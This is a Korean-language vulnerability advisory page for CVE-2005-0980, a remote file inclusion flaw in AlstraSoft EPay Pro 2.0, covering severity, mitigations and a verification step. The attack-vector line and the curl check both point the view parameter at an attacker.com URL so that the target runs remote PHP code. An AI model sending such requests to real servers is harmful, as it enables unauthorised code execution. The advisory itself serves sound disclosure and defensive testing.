🔍 CVE-2005-0980

7.5
CVSS Score
HIGH
2005-05-02
2026-04-16 00:27
✅ 완료

🇰🇷 한글 설명

AlstraSoft EPay Pro 2.0의 index.php에서 view 매개변수의 부족한 검증으로 인한 원격 파일 포함(RFI) 취약점입니다. 공격자는 악의적인 PHP 코드가 포함된 원격 웹 서버의 URL을 view 매개변수로 지정하여 임의의 PHP 코드 실행이 가능합니다.

💡 쉬운 설명

AlstraSoft EPay Pro 2.0 소프트웨어에서 특정 설정 값(view 파라미터)을 조작하면 원격 서버의 악성 코드를 실행할 수 있습니다. 이는 공격자가 원격 서버에 올려진 악성 프로그램을 마치 합법적인 파일인 것처럼 실행하게 만드는 공격입니다.

🇺🇸 원문 (English)

PHP remote file inclusion vulnerability in index.php in AlstraSoft EPay Pro 2.0 allows remote attackers to execute arbitrary PHP code by modifying the view parameter to reference a URL on a remote web server that contains the code.

📍 영향받는 시스템

AlstraSoft EPay Pro 2.0 이하 버전

⚔️ 공격 벡터

HTTP GET/POST를 통해 index.php의 view 매개변수에 원격 URL(http://attacker.com/shell.php) 주입

🛡️ 대응 방법

최신 버전으로 업그레이드 또는 view 매개변수 화이트리스트 검증 구현, allow_url_include=Off 설정

🔧 검증 코드

원격 코드 실행 흔적(PHP 에러, 스크립트 출력 등)이 보이면 취약, 정상적인 페이지 로드 또는 'file not found' 오류면 안전

Shell / Script
curl -s 'http://target/index.php?view=http://attacker.com/test.php' | head -20

📊 CVSS Vector String

CVSS Vector
AV:N/AC:L/Au:N/C:P/I:P/A:P

💻 영향받는 소프트웨어

PHP